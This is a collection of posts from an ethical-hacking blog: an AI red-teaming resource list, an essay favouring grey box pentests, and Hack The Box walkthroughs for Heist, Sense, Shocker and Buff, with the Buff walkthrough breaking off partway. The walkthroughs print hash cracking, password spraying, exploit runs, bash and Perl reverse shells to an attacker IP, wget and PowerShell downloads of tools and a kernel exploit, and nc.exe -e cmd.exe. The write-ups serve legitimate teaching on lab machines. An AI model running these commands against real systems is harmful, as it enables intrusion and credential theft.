I’ve organized the resources into three categories: Training Courses, CTF-Style Platforms, and General ML/AI Materials.

Let’s dive in.

🔥 AI Red Teaming Training

These are the places to start if you want a structured approach. Some are video-based, others are full-blown hands-on labs, all focused on understanding and exploiting AI and LLM systems.

If you’re just getting started, AI Red Teaming 101 and Microsoft’s guide are great free options. If you already live and breathe pentesting, the HTB and Udemy tracks are well-structured affordable resources.

🕹️ AI Red Teaming CTFs & Hands-On Platforms

This is where the real fun begins, breaking chatbots, evading filters, and leaking sensitive data in a controlled environment.

If you only pick one, start with Gandalf, it’s addictive and great for sharpening your creativity with prompts. For something closer to real-world attack chains, HTB’s AI track and Crucible Dreadnode are solid bets.

📚 ML/AI General Resources

If you’re serious about AI security, you need to understand how models work under the hood. These resources are not security-specific, but they build the foundation you’ll need for adversarial ML research.

✅ Wrapping Up

AI security is still a new frontier, which makes it fun and unpredictable. Whether you’re starting with free guides or jumping straight into CTFs, there’s no shortage of ways to level up.

If you’re in it for the long run, don’t just learn how to break models, learn how they work. The better you understand them, the better you’ll be at finding those edge cases where they fail.

Happy hacking!

~ Ragab0t

You shall not misuse the information to gain unauthorized access. Performing hack attempts (without permission) on computers that you do not own is illegal.

Hola Gente!

Today we are going to go over the steps I followed to get root on Heist, a machine on Hack the Box. Hack The Box is an online platform allowing you to test and advance your skills in cyber security.

Scanning and Enumeration

I kicked off my analysis by conducting a comprehensive scan of the target system using nmap default scripts:

TGT=10.129.96.157
nmap -sSVC -n -oA nmap $TGT

Key findings:

• Port 80: HTTP running Microsoft IIS 10.0.

• Port 135: MSRPC.

• Port 445: Microsoft SMB service.

Visiting the web server on port 80 revealed a "Support Login Page" with an option to log in as a guest:

Logging in provided access to download a Cisco configuration file containing encrypted passwords.

Extract of the config File:

security passwords min-length 12
enable secret 5 $1$pdQG$o8nrSzsGXeaduXrjlvKc91
!
username rout3r password 7 0242114B0E143F015F5D1E161713
username admin privilege 15 password 7 02375012182C1A1D751618034F36415408

Decrypting Passwords

The configuration file included encrypted credentials:

• User rout3r: Cisco Type 7 password.

• enable secret: Cisco Type 5 hash.

Using an online Cisco Type 7 decryption tool and hashcat with the rockyou wordlist, I cracked the credentials:

hashcat -a 0 -m 500 '$1$pdQG$o8nrSzsGXeaduXrjlvKc91' rockyou.txt -O

• rout3r: $uperP@ssword

• Admin password: Q4)sJu\Y8qz*A3?d

• Enable secret: stealth1agent

SMB Enumeration

Armed with the credentials, I tested SMB access using netexec:

netexec smb $TGT -u hazard -p stealth1agent 
SMB         10.129.96.157   445    SUPPORTDESK      [*] Windows 10 / Server 2019 Build 17763 x64 (name:SUPPORTDESK) (domain:SupportDesk) (signing:False) (SMBv1:False)
SMB         10.129.96.157   445    SUPPORTDESK      [+] SupportDesk\hazard:stealth1agent

And then tried to do a little more enumeration with netexc and smbmap

netexec smb $TGT -u hazard -p stealth1agent --shares 
SMB         10.129.96.157   445    SUPPORTDESK      [*] Windows 10 / Server 2019 Build 17763 x64 (name:SUPPORTDESK) (domain:SupportDesk) (signing:False) (SMBv1:False)
SMB         10.129.96.157   445    SUPPORTDESK      [+] SupportDesk\hazard:stealth1agent 
SMB         10.129.96.157   445    SUPPORTDESK      [*] Enumerated shares
SMB         10.129.96.157   445    SUPPORTDESK      Share           Permissions     Remark
SMB         10.129.96.157   445    SUPPORTDESK      -----           -----------     ------
SMB         10.129.96.157   445    SUPPORTDESK      ADMIN$                          Remote Admin
SMB         10.129.96.157   445    SUPPORTDESK      C$                              Default share
SMB         10.129.96.157   445    SUPPORTDESK      IPC$            READ            Remote IPC

smbmap -u hazard -p stealth1agent -d SupportDesk -H $TGT


[*] Detected 1 hosts serving SMB
[*] Established 1 SMB session(s)                                

[+] IP: 10.129.96.157:445    Name: 10.129.96.157           Status: Authenticated
    Disk                                                      Permissions    Comment
    ----                                                      -----------    -------
    ADMIN$                                                NO ACCESS    Remote Admin
    C$                                                    NO ACCESS    Default share
    IPC$                                                  READ ONLY    Remote IPC

I enumerated shares, noting accessible resources and potential avenues for lateral movement. A brute-force RID enumeration revealed several user accounts, including:

• Administrator

• Guest

• Hazard

• Chase

netexec smb $TGT -u hazard -p stealth1agent --rid-brute      
SMB         10.129.96.157   445    SUPPORTDESK      [*] Windows 10 / Server 2019 Build 17763 x64 (name:SUPPORTDESK) (domain:SupportDesk) (signing:False) (SMBv1:False)
SMB         10.129.96.157   445    SUPPORTDESK      [+] SupportDesk\hazard:stealth1agent 
SMB         10.129.96.157   445    SUPPORTDESK      500: SUPPORTDESK\Administrator (SidTypeUser)
SMB         10.129.96.157   445    SUPPORTDESK      501: SUPPORTDESK\Guest (SidTypeUser)
SMB         10.129.96.157   445    SUPPORTDESK      503: SUPPORTDESK\DefaultAccount (SidTypeUser)
SMB         10.129.96.157   445    SUPPORTDESK      504: SUPPORTDESK\WDAGUtilityAccount (SidTypeUser)
SMB         10.129.96.157   445    SUPPORTDESK      513: SUPPORTDESK\None (SidTypeGroup)
SMB         10.129.96.157   445    SUPPORTDESK      1008: SUPPORTDESK\Hazard (SidTypeUser)
SMB         10.129.96.157   445    SUPPORTDESK      1009: SUPPORTDESK\support (SidTypeUser)
SMB         10.129.96.157   445    SUPPORTDESK      1012: SUPPORTDESK\Chase (SidTypeUser)
SMB         10.129.96.157   445    SUPPORTDESK      1013: SUPPORTDESK\Jason (SidTypeUser)

I created a users.txt and passwords.txt file and ran a password spray using netexec:

netexec smb $TGT -u users.txt -p passwords.txt --continue-on-success

And Success! I found valid credentials for user Chase:

• Username: Chase

• Password: Q4)sJu\Y8qz*A3?d

With valid credentials, I confirmed remote access using netexec winrm:

netexec winrm $TGT -u Chase -p "Q4)sJu\Y8qz*A3?d" -X "ipconfig"

This granted me WinRM access, allowing me to execute commands on the target.

Exploitation

Using evil-winrm, I gained an interactive shell and extracted the user flag from the desktop:

evil-winrm -i $TGT -u 'Chase' -p 'Q4)sJu\Y8qz*A3?d'

Navigating through the user Desktop, I found and captured the flag. 🎉

Privilege Escalation

After capturing the user.txt flag and exploring the Desktop, I noticed that there was a todo.txt file:

PS C:\Users\Chase\Desktop>type todo.txt
Stuff to-do:
1. Keep checking the issues list.
2. Fix the router config.

Done:
1. Restricted access for guest user.

After a quick run with winPEAS I noticed that there was a Firefox Creds DB file accessible.

I tried downloading which took me a while because I kept on trying and kept on getting a 0 bytes file. It turned out that I had to kill the Firefox process before attempting to download. I was finally able to download it.

I started trying to crack it, but I had a hard time finding some missing files that were required to crack the credentials.

It eventually turned out to be a 4 hour rabbit hole as this wasn't the way to escalate privileges.

Well, back to square one. From Chase's To-Do list he was supposed to check the current issues. Looking at the current processes the only thing that stood out is Firefox. There's a good chance he is the one that’s using it.

Disclaimer: At this point I had to look for a hint. Forensics isn’t my strongest suit, so I didn’t think about exploring the processes’ memory.

Once I realized this was a potential avenue and learned about ProcDump.exe I uploaded and used it to dump Firefox’s Memory:

*Evil-WinRM* PS C:\Users\Chase\Documents> get-process -name firefox

Handles  NPM(K)    PM(K)      WS(K)     CPU(s)     Id  SI ProcessName
-------  ------    -----      -----     ------     --  -- -----------
   1063      63   112688     201964       2.52   6440   1 firefox

*Evil-WinRM* PS C:\Users\Chase\Documents> $command = "C:\Users\Chase\Documents\procdump.exe -accepteula"
*Evil-WinRM* PS C:\Users\Chase\Documents> Invoke-Expression $command

*Evil-WinRM* PS C:\Users\Chase\Documents> $command = "C:\Users\Chase\Documents\procdump.exe -ma 6440 firefox.dmp"
*Evil-WinRM* PS C:\Users\Chase\Documents> Invoke-Expression $command

I downloaded the firefox.dmp to my attacker machine (after several tries since they all kept timing out) for further investigation. The dump was was almost 50 MB. At this point I didn’t know what I was looking for.

Going back to the /login.php page, I checked with Burp Proxy request/response HTTP messages for a login attempt:

And noticed that the request parameter “login_password” was being passed as a POST parameter.

I then used strings and grep to look for this particular string:

strings -el firefox.dmp | grep login_password


"C:\Program Files\Mozilla Firefox\firefox.exe" localhost/login.php?login_username=admin@support.htb&login_password=4dD!5}x/re8]FBuZ&login=
localhost/login.php?login_username=admin@support.htb&login_password=4dD!5}x/re8]FBuZ&login=

These credentials—admin@support.htb and 4dD!5}x/re8]FBuZ—looked promising!

Armed with the newly discovered credentials, I tested them for WinRM access as the Administrator:

netexec winrm $TGT -u Administrator -p '4dD!5}x/re8]FBuZ'
WINRM       10.129.96.157   5985   SUPPORTDESK      [*] Windows 10 / Server 2019 Build 17763 (name:SUPPORTDESK) (domain:SupportDesk)
WINRM       10.129.96.157   5985   SUPPORTDESK      [+] SupportDesk\Administrator:4dD!5}x/re8]FBuZ (Pwn3d!)

And it worked!

And then got a Shell and a Root Flag with Evil-WinRM

evil-winrm -i $TGT -u Administrator -p '4dD!5}x/re8]FBuZ'

Evil-WinRM PS C:\Users\Administrator\Documents> type C:\Users\Administrator\Desktop\root.txt

Lessons Learned

• Read and analyze all clues carefully (e.g., todo.txt).

• Use get-process to identify active processes for exploitation.

• Memory dumps often reveal sensitive data (e.g., credentials).

• Avoid rabbit holes (DAH!); reassess your strategy if you get stuck

• Evil-WinRM and Netexec are your friends

Call to Action!

Thanks for making it this far, If you're enjoying these and haven't joined Hack The Box yet, I invite you to sign up using my referral link. Trust me—you'll get hooked! 😊 Until next time!

Disclaimer

This blog is related to Computer Security and Ethical hacking and does not promote hacking, cracking, software piracy or any kind of illegal activities. The blog is for informational and educational purpose and for those willing to learn about ethical hacking and penetration testing.

You shall not misuse the information to gain unauthorized access. Performing hack attempts (without permission) on computers that you do not own is illegal.

Hello Everyone!

Today we are going to look the steps I followed to get root on Delivery, a vulnerable machine on Hack the Box. Hack The Box is an online platform allowing you to test and advance your skills in cyber security. Now for this machine I took a different route and decided to to a video Walk-through instead and once this blog post to document the commands that I used.

Before we start, some terminology:

Attacker Machine: typically your Kali, Parrot, etc machine that you use to connect to the HTB Lab. In this example I'm using an IP address of 10.10.14.12. Notice that in the case of Hack the box this IP will change since it is assigned by the VPN server which assigns an IP on the 10.10.x.x network.

Target Machine: the machine we are attacking (notice that this is a lab environment we do have express permission to attack this machine). The IP address for the target machine is 10.10.10.222

You can find the detailed Walk-through here:

You shall not misuse the information to gain unauthorized access. Performing hack attempts (without permission) on computers that you do not own is illegal.

Hello Everyone!

Today we are going to look the steps I followed to get root on Sense, a vulnerable machine on Hack the Box. Hack The Box is an online platform allowing you to test and advance your skills in cyber security.

Scanning and Enumeration

I kicked off my analysis by conducting a comprehensive scan of the target system using nmap default scripts:

# Basic Nmap Scan
TGT=10.129.56.224
sudo nmap -sSVC $TGT

Host is up (0.087s latency).
Not shown: 998 filtered tcp ports (no-response)
PORT    STATE SERVICE    VERSION
80/tcp  open  http       lighttpd 1.4.35
|_http-server-header: lighttpd/1.4.35
|_http-title: Did not follow redirect to https://10.129.59.115/
443/tcp open  ssl/https?
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=Common Name (eg, YOUR name)/organizationName=CompanyName/stateOrProvinceName=Somewhere/countryName=US
| Not valid before: 2017-10-14T19:21:35
|_Not valid after:  2023-04-06T19:21:35

The nmap results plus a manual inspection showed the presence of Pfsense on ports 80 and 443, as well as Lighttpd version 1.4.35 on the same ports.

I checked for the pfsense default username/password combination plus some other default combinations but none of them worked.

To explore potential vulnerabilities, I used searchsploit for both Pfsense and Lighttpd:

searchsploit pfsense | grep -v Cros
------------------------------------------------------------- ---------------------------------
 Exploit Title                                               |  Path
------------------------------------------------------------- ---------------------------------
pfSense - (Authenticated) Group Member Remote Command Execut | unix/remote/43193.rb
pfSense 2.1 build 20130911-1816 - Directory Traversal        | php/webapps/31263.txt
pfSense 2.2 - Multiple Vulnerabilities                       | php/webapps/36506.txt
pfSense 2.2.5 - Directory Traversal                          | php/webapps/39038.txt
pfSense 2.3.1_1 - Command Execution                          | php/webapps/43128.txt
Pfsense 2.3.4 / 2.4.4-p3 - Remote Code Injection             | php/webapps/47413.py
pfSense < 2.1.4 - 'status_rrd_graph_img.php' Command Injecti | php/webapps/43560.py
pfSense Community Edition 2.2.6 - Multiple Vulnerabilities   | php/webapps/39709.txt
------------------------------------------------------------- ---------------------------------
Shellcodes: No Results

searchsploit lighttpd
------------------------------------------------------------- ---------------------------------
 Exploit Title                                               |  Path
------------------------------------------------------------- ---------------------------------
lighttpd - Denial of Service (PoC)                           | linux/dos/18295.txt
Lighttpd 1.4.15 - Multiple Code Execution / Denial of Servic | windows/remote/30322.rb
Lighttpd 1.4.16 - FastCGI Header Overflow Remote Command Exe | multiple/remote/4391.c
Lighttpd 1.4.17 - FastCGI Header Overflow Arbitrary Code Exe | linux/remote/4437.c
lighttpd 1.4.31 - Denial of Service (PoC)                    | linux/dos/22902.sh
Lighttpd 1.4.x - mod_userdir Information Disclosure          | linux/remote/31396.txt
lighttpd 1.4/1.5 - Slow Request Handling Remote Denial of Se | linux/dos/33591.sh
Lighttpd < 1.4.23 (BSD/Solaris) - Source Code Disclosure     | multiple/remote/8786.txt
------------------------------------------------------------- ---------------------------------
Shellcodes: No Results

Web Server Enumeration

Next, I initiated an ffuf scan to uncover hidden directories on the target web server:

wordlist=/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
ffuf -w $wordlist -u https://$TGT/FUZZ -e "/,.php,.txt" --replay-proxy http://127.0.0.1:8080

The ffuf scan revealed a file named /system-users.txt through directory browsing. After inspecting its contents, I discovered the following information:

####Support ticket###
Please create the following user

username: Rohit
password: company defaults

Exploiting Pfsense Vulnerability

Having this information, and knowing that Pfsense's default password is "pfsense" I connected to the Pfsense system using the credentials:

# Connecting with Pfsense
user: rohit
password: pfsense

Upon successful connection, I identified the Pfsense version as:

2.1.3-RELEASE (amd64)
built on Thu May 01 15:52:13 EDT 2014
FreeBSD 8.3-RELEASE-p16

Now that I had a set of valid credentials I went back to the searchsploit results I revisited the "pfSense < 2.1.4 - 'status_rrd_graph_img.php' Command Injection" vulnerability and its corresponding exploit: https://www.exploit-db.com/exploits/43560

head 43560.py 

#!/usr/bin/env python3

# Exploit Title: pfSense <= 2.1.3 status_rrd_graph_img.php Command Injection.
# Date: 2018-01-12
# Exploit Author: absolomb
# Vendor Homepage: https://www.pfsense.org/
# Software Link: https://atxfiles.pfsense.org/mirror/downloads/old/
# Version: <=2.1.3
# Tested on: FreeBSD 8.3-RELEASE-p16
# CVE : CVE-2014-4688

Exploitation and Root Access

The script exploited the vulnerability 'pfSense <= 2.1.3 status_rrd_graph_img.php Command Injection.' After setting up a listener, the script was executed to gain root access:

# Start Listener
nc -nlvp 7777

# Run Exploit
python /home/htb-ragab0t/43560.py --rhost $TGT --lhost $LHOST --lport 7777 --username rohit --password pfsense

The successful execution of the exploit granted root access to the target system:

# Confirming Root Access
whoami
root
# Checking User ID
id
uid=0(root) gid=0(wheel) groups=0(wheel)

And that's it for now. Until next time :)

~Ragab0t 🤖

PS: If you're eager to dive into the art of hacking techniques, I highly recommend joining me on Hack the Box Academy through my referral link. Let's level up our skills together. See you there!

TL;DR: Get a grey box pentest.

On this blog I'll try to convince you about why you should consider the grey box approach instead of the black box approach.

Here are in my opinion, the top 5 reasons why you should go with the grey box pentest:

1. Money

Yes, you heard that, money. Penetration Testing services aren't exactly cheap, so you wanna get the most out of the penetration tester's time, and you want them to try to identify (and exploit) as many weak points as they possibly can within their given time frame. So, do you really want your penetration testing company spending time on researching your people on Linkedin, StackOverflow, looking for recent acquisitions and trying to identify your AWS IP address space? Not really.

Customer: But wait, isn't that what a cyber criminal would do? They would start with zero information about my company, I want my pentest to be as close as possible to what a real attack would look like.

Pentester: OK, so does that mean that you have unlimited money for this project?

Customer: Of course not.

Pentester: OK, then you don't want a black box pentest.

Customer: I don't understand what do you mean by unlimited money?

Pentester: You do realize we charge by the hour right?

Customer: OK I see...

The bottom line is, pentests are scoped (and quoted) based on the amount of work that they will require from the penetration testing company and this is tied to the amount of time that the company will need to complete the pentest, but still that does not mean that pentest companies have unlimited time, which takes us to the second reason:

2. Time

A penetration test is like any other project, bounded by time and resources. Pentesters are given a time frame to complete a pentest, typically a week or two. Because of this you want to facilitate some information to your pentesters so you save them some time. The main reason for this is, unlike attackers, penetration testers do not have unlimited time to complete a project (unless you have unlimited budget, see reason 1, Do you have unlimited money for this project?).

Pentesters even need to set time aside for the most exciting part of any penetration test which is creating that awesome report that you are going to share with your CISO. (Sometimes this part is scoped separately, sometimes it is not)

3. Insider Threats

Attacks can also come from within your network (surprise surprise) and I am not necessarily talking about the infamous "Disgruntled Employee", a.k.a. Jeff , former IT member seeking revenge because the got fired right before Christmas. I am taking about Carol from payroll who accidentally clicked on a pop up from a "Virus Alert" and just generated a reverse shell to an EC2 instance pwned by some guy based out Ukraine or Carlos Roberto, who accidentally entered his network credentials on a phishing site that looked just like the employees portal, or Arturo who reused his old LinkedIn password for his corporate login, the same password that got leaked by LinkedIn back in 2016.

In summary, threats can also come from within your network, they could come from trusted partners, recent acquisitions or pretty much any employee. Attackers could already posses low privilege users before they even get started, so why wouldn't you give the same advantage to the company that you are going to trust to analyze your network security?

4. Critical/Forgotten Assets

OK you chose the blackbox route and your blackbox pentest is done, the penetration testing company couldn't get passed your DMZ (do people still use DMZs?, I feel kinda old by even mentioning it... well you get the point, they didn't get passed your externally facing assets). Every externally facing asset is properly hardened which means you Aced this pentest right?

Well, not so fast. What about your critical assets? Perhaps those that sit behind the firewall? Are they properly hardened? How about that one server that that you stood up last year when your cloud provider went down and that's still connected to your network via VPN but the pentester failed to find within that one week time frame (I know, sometimes we miss things too :) )

Again it goes back to getting the best out of the pentester's time. You wanna make sure that those assets that are critical to the operation are not missed and the only way to ensure that is by providing these pieces of information to the pentesting company.

5. Missed attack vectors

Alright your time's up Mr. Pentester, it's time to start working on that report (Yay!). A week went by, and with the exception of some medium and low severity findings (missing security headers, lack of rate limits, etc) not a lot was found, yet the pentester missed that the employees portal allowed any valid user to become an admin and therefore execute commands on the server. The reason why this was missed was because he was never given a valid low level user to poke around.

The same concept could apply to other attack vectors such as OS privilege escalations or vulnerabilities that are visible only to authenticated users.

If you wanna make sure that you covered all your bases you might want to share a little more information (e.g. low level users for your web applications, low level user Postman collections for your APIs etc. )

6. Bonus

Customer: So, if you are as good as those black hats out there, why do you need this much information? Do u 3v3n kn0w h0w to h4ck?

Pentester: With all the respect, are you testing our skills or are we trying to help you identify potential issues with your network?

Cutomer: The latter.

Pentester: OK that's what I thought.

Note: If this is the reason why you think you need a black box pentest as opposed to a grey box pentest, then you have the wrong approach to pentesting altogether and you might want to consider looking for another pentesting company that you or someone close to you trusts.

Wrap Up

Penetration test should NOT to try to emulate full blown attack against your infrastructure, attackers have unlimited time and resources, pentesters don't. Instead, a pentest should allow you to reduce your attack surface by identifying issues that can be exploited and focus on those things that matter to your operation while getting the best out of your money.

I hope this was helpful.

BTW you feel like buying me a beer, please knock yourself out:

Buy me a beer

Happy Hacking!

~Ragab0t 🤖

This blog is related to Computer Security and Ethical hacking and does not promote hacking, cracking, software piracy or any kind of illegal activities. The blog is for informational and educational purpose and for those willing to learn about ethical hacking and penetration testing.

You shall not misuse the information to gain unauthorized access. Performing hack attempts (without permission) on computers that you do not own is illegal.

Hello Everyone!

Today we are going to look the steps I followed to get root on Shocker, a vulnerable machine on Hack the Box. Hack The Box is an online platform allowing you to test and advance your skills in cyber security.

Before we start, some terminology:

Attacker Machine: typically your Kali, Parrot, etc machine that you use to connect to the HTB Lab. In this example I'm using an IP address of 10.10.14.17. Notice that in the case of Hack the box this IP will change since it is assigned by the VPN server which assigns an IP on the 10.10.x.x network.

Target Machine: the machine we are attacking (notice that this is a lab environment we do have express permission to attack this machine). The IP address for the target machine is 10.10.10.56

Fingerprinting, Scanning and Enumeration

I started analyzing this box with a Service and Default Scripts nmap Scan:

nmap -sSVC 10.10.10.56

SSH was running on port 2222, not extremely unusual, but not the standard port either. I started looking at the ssh version and then looked for some exploits since it seemed to be affected by CVE-2016-6210.

The Searchploit results looked promising:

There is an Exploit on exploit DB an even a Metasploit auxiliary module, but after trying this route for a good while it turned out to be a dead end.

I moved on to port 80.

After checking port 80, I found the following web site.

Now the name of the box itself plus the "Don't Bug Me" kinda gave me an idea of what I was looking for (it looked like I was looking for a "Shocking" bug? )

I started Fuzzing some directories with ffuf:

TIP: Right before you start working on the machine add the IP of the victim as a variable (I use TGT for TARGET and ATT for ATTACKER), that way you can easily copy/paste from your cheat sheet without having to modify anything. For example as I began working on this box I added the following:

export TGT=10.10.10.56

Then I added this variable I was getting ready to fire ffuf:

export wordlist=/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

Finally all I had to do was copy the following line from my cheatsheet:

ffuf -w $wordlist -u http://$TGT/FUZZ -o output.txt -replay-proxy http://127.0.0.1:8080 -e "/"

The results from ffuf didn't reveal much with the exception of the /cgi-bin/ folder which responded back with a 403 Forbidden.

I decided to look into this folder a little more. I added some common CGI file extensions and used a new wordlist this time. (I have to admit that at some point I was stuck for hours and I had to look for a hint. I wasn't using the right set of file extensions at first, I had no idea that CGIs could use a .sh extension. TIL ... ;))

The following URL responded with a 200 OK

I decided to check it out and found the following page:

http://10.10.10.56/cgi-bin/user.sh

This appeared to be a simple shell script that checked the system's load.

Now the name of the machine is already a hint, so to confirm what I suspected I ran nitko against that URL using the -CGIDir parameter:

nikto -host $TGT -Cgidirs /cgi-bin/user.sh

Nikto confirmed what I suspected, the URL under /cgi-bin/ is vulnerable to ShellShock (hence the name of the machine)

Exploitation

Manual Exploit

After a quick search on EDB I found the following exploit:

Apache mod_cgi - 'Shellshock' Remote Command Injection

https://www.exploit-db.com/exploits/34900

So, after reviewing the exploit I decided to run it:

python 34900.py payload=reverse rport=8 lhost=10.10.14.7 lport=9999 pages=/cgi-bin/user.sh rhost=10.10.10.56

And boom, there's my user access (and flag):

Metasploit Module

As with many other exploits Metasploit has a Module to exploit this vulnerability, so I decided to give it a try too:

msfconsole
use exploit/multi/http/apache_mod_cgi_bash_env_exec
set TARGETURI /cgi-bin/user.sh
set RHOST 10.10.10.56
set Payload /linux/x86/shell/reverse_tcp
set LHOST 10.10.14.7
set LPORT 7777
run

And that also worked pretty well.

Privilege Escalation

PE Route 1: Manual Exploitation

I didn't really like the shell generated by the manual exploit so I switched to a regular reverse shell with bash:

nc -nlvp 7000

bash -i >& /dev/tcp/10.10.14.7/7000 0>&1

Once that was done I downloaded my "Linux Privilege Escalation Bundle" (Linpeas.sh, LinEnum.sh and LSE.sh):

cd /tmp
export ATT=10.10.14.7
wget "http://$ATT/files/Linpeas.sh" && wget "http://$ATT/files/LinEnum.sh" && wget "http://$ATT/files/LSE.sh" && chmod +x *.sh && ls -la

I only ended running LSE.sh since it identified something that caught my attention:

User shelly may run the following commands on Shocker:
    (root) NOPASSWD: /usr/bin/perl

Which meant that perl scripts or one liners could be run as root without the need of a password.

You can manually verify the output of the LSE script by issuing the sudo -l command

sudo -l

I tested this with a few commands:

First, I ran the he following Perl command which prints the first field of the /etc/passwd

perl -F: -lane 'print $F[0]' /etc/passwd

Now, this was something that the user Shelly could already access, so no secrets there.

Then I ran the same command but for the /etc/shadow.

perl -F: -lane 'print $F[1]' /etc/shadow

Here is the output of those two commands:

And as expected I got a permission denied for the /etc/shadow, since regular users shouldn't have access to it.

Now let's try with sudo

sudo perl -F: -lane 'print $F[0]' /etc/shadow
sudo perl -F: -lane 'print $F[1]' /etc/shadow

The fact that I was able to read the shadow file (F0 is the user and F1 the password's hash), confirmed that I could run commands as root.

I proceeded to start a new listener on port 9001 on my local machine and then used a Perl reverse shell to connect back to my machine using sudo.

nc -nlvp 9001

sudo perl -e 'use Socket;$i="10.10.14.7";$p=9001;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

And I got ROOT :)

PE Route 2: Kernel Exploit

According to the uname command the system is running the Linux Kernel version 4.4.0-96

uname -a 
Linux Shocker 4.4.0-96-generic #119-Ubuntu SMP Tue Sep 12 14:59:54 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux

After reviewing the Kernel version and doing some Googling I found the following Exploit on Exploit DB which seemed like a good candidate:

Linux Kernel < 4.4.0-116 (Ubuntu 16.04.4) - Local Privilege Escalation

https://www.exploit-db.com/exploits/44298

I copied the exploit from the searchploit and downloaded it using wget however for some reason it looked like gcc was not installed on the machine so I couldn't compile it there (or at least I couldn't find it). Given that I have the same architecture on my Kali machine I compiled the exploit locally and then downloaded the compiled version on the victim machine.

Kali :

gcc -o exploit 44298.c
python3 -m http.server 9000

Shocker:

wget 10.10.14.7:9000/exploit
chmod +x exploit
./exploit

And that's was it, I got ROOT (again :P )

Wrapping up

Things I learned

• CGI files are not limited to .cgi o .pl but can also be .sh or even .py.

• This box reminded me that /cgi-bin and /cgi-bin/ are not the same thing. While I already knew this part I did not know that ffuf by default only looks for directory names without the trailing slash so if you are fuzzing directories it is always good include a -e "/" parameter so that ffuf looks for the directory name with and without the trailing slash (dirbuster style).

Mistakes I made

I spent way too much time looking for a file under /cgi-bin/ directory, I was positive that the vulnerability was there so I kept looking and trying different things. I tried all sorts of wordlists, from seclists to dirbuster's, I even switched form ffuf to gobuster to dirbuster.

At the end of the day I ended looking for a hint which pointed me in the right direction (the .sh extension) that and was probably the real mistake, not asking for help or looking for hints after some reasonable time. In any case while you should try at all costs to do this on your own but for the learning experience it is OK to ask for help. Some things you just don't know ¯_(ツ)_/¯ (yet)

References

One resource that found to be very useful especially if you are getting used to ffuf is Codingo's Everything you need to know about FFUF

Finally, if you enjoyed this and you feel like buying me a beer, please knock yourself out:

Ragab0t buy me a beer

Happy Hacking!

~Ragab0t 🤖

This blog is related to Computer Security and Ethical hacking and does not promote hacking, cracking, software piracy or any kind of illegal activities. The blog is for informational and educational purpose and for those willing to learn about ethical hacking and penetration testing.

You shall not misuse the information to gain unauthorized access. Performing hack attempts (without permission) on computers that you do not own is illegal.

Hello Everyone!

Today we are going to look the steps I followed to conquer Buff, a vulnerable machine on Hack the Box. Hack The Box is an online platform allowing you to test and advance your skills in cyber security.

Before we start, some terminology:

Attacker Machine: typically your Kali, Parrot, etc machine that you use to connect to the HTB Lab. In this example I'm using an IP address of 10.10.14.12. Notice that in the case of Hack the box this IP will change since it is assigned by the VPN server which assigns an IP on the 10.10.x.x network.

Target Machine: the machine we are attacking (notice that this is a lab environment we do have express permission to attack this machine). The IP address for the target machine is 10.10.10.198.

Step 1 Recon and Fingerprinting

OK the first thing I did here is a quick nmap scan to discover open ports and start poking at things manually. I then followed with a more thorough nmap scan using the nmap scripting service (if you wonder why I disabled some of the script checks that is because either they too slow or not applicable to environments that are not connected to the Internet such as a lab environment)

nmap -sS -sV 10.10.10.198

nmap -sS -sV -O -T4 -r --script "(default or auth or vuln or exploit or discovery") and not (dns-cache-snoop or broadcast or http-vuln-cve2013-7091 or dns-brute or http-vuln-cve2011-3192 or http-cross-domain-policy or http-slowloris* or http-google-malware or targets-* or *icloud*)" --script-args unsafe=1 -oA 10.10.10.198-NMAP-TCP 10.10.10.198

Both nmap scans, showed that the machine is running a web application on port 8080.

After browsing the web app It looked like some kind of gym management application.

After checking the application a bit more it looks like it is running "Gym Management System 1.0"

A quick Google Search shows that there is a Remote Code Execution vulnerability present on this particular version and there is an exploit on expoit-db.com for the same.

hxxps://www.exploit-db.com/exploits/48506

The vulnerability description from the exploit code reads:

"Gym Management System version 1.0 suffers from an Unauthenticated File Upload Vulnerability allowing Remote Attackers to gain Remote Code Execution (RCE) on the Hosting Webserver via uploading a maliciously crafted PHP file that bypasses the image upload filters."

Step 2 Exploitation - Foothold

After quickly reviewing the code it looks like it can be run without any further modifications, so I saved it as 48506.py and proceded to run against our target.

python 48506.py http://10.10.10.198:8080/

Which gave me a nice shell:

However I couldn't move outside of the current directory, so I proceed to load some tools to attempt a privilege escalation.

Step 2.5 Privilege Escalation - User

Time to transfer some files. I transferred a zip file that contains the following executables

• nc.exe
• plink.exe
• winpeas.exe
• acceschck.exe

In this case I used a Powershell script to transfer the zip file. The zip file is hosted on a local web server that I'm running on my attacker machine.

echo $storageDir = $pwd > wget.ps1 
echo $webclient = New-Object System.Net.WebClient >>wget.ps1 
echo $url = "http://10.10.14.12/files/pe.zip" >> wget.ps1 
echo $file = "pe.zip" >> wget.ps1
echo $webclient.DownloadFile($url,$file) >>wget.ps1
type wget.ps1
powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -File wget.ps1

Having transferred the file I used another Powershell command to unzip it:

powershell.exe  Expand-Archive -Path pe.zip -DestinationPath C:\xampp\htdocs\gym\upload -Force

Now that I had some tools ready to go, it was time use nc.exe and get a more stable shell.

Before that I set up a listener on my Kali Machine and executed nc.exe on Buff:

nc -nvlp 7777

C:\xampp\htdocs\gym\upload\nc.exe -vn 10.10.14.12 7777 -e cmd.exe

With the new shell I was now able to move outside of the xampp directory. It's time to go after that user flag

And that's our user flag :)

Step 3 Privilege Escalation

I tried a few things that did not work, but feel free to check them out yourself as I might have missed something. Sometimes these boxes have more than one privilege escalation avenue.

Things that did not work for me:

• Kernel Exploits (checked system info with wesng.py)
• Misconfigured services and credentials (checked using winpeas.exe)
• Common User Errors (passwords in clear text laying around, etc).

After checking the netstat output and listing the services that are listening and then comparing this to the open ports I found during our initial portscan, I noticed that were two ports open that were only visible from the inside: 3306 (mysql) and 8888.

Checking the User's default folder however yielded two results, both of which were interesting.

Tasks.bat file located under C:\Users\shaun\Documents>. the file was world writable but I couldn't not find any scheduled task ran by System or an Admin associated to this file, which would had worked as potential privilege escalation vector. So, I moved this to the list of things that didn't work for PE.

CloudMe_1112.exe located under C:\Users\shaun\Downloads. This file appears to be the installer for the service Cloudme which by default runs on port 8888.

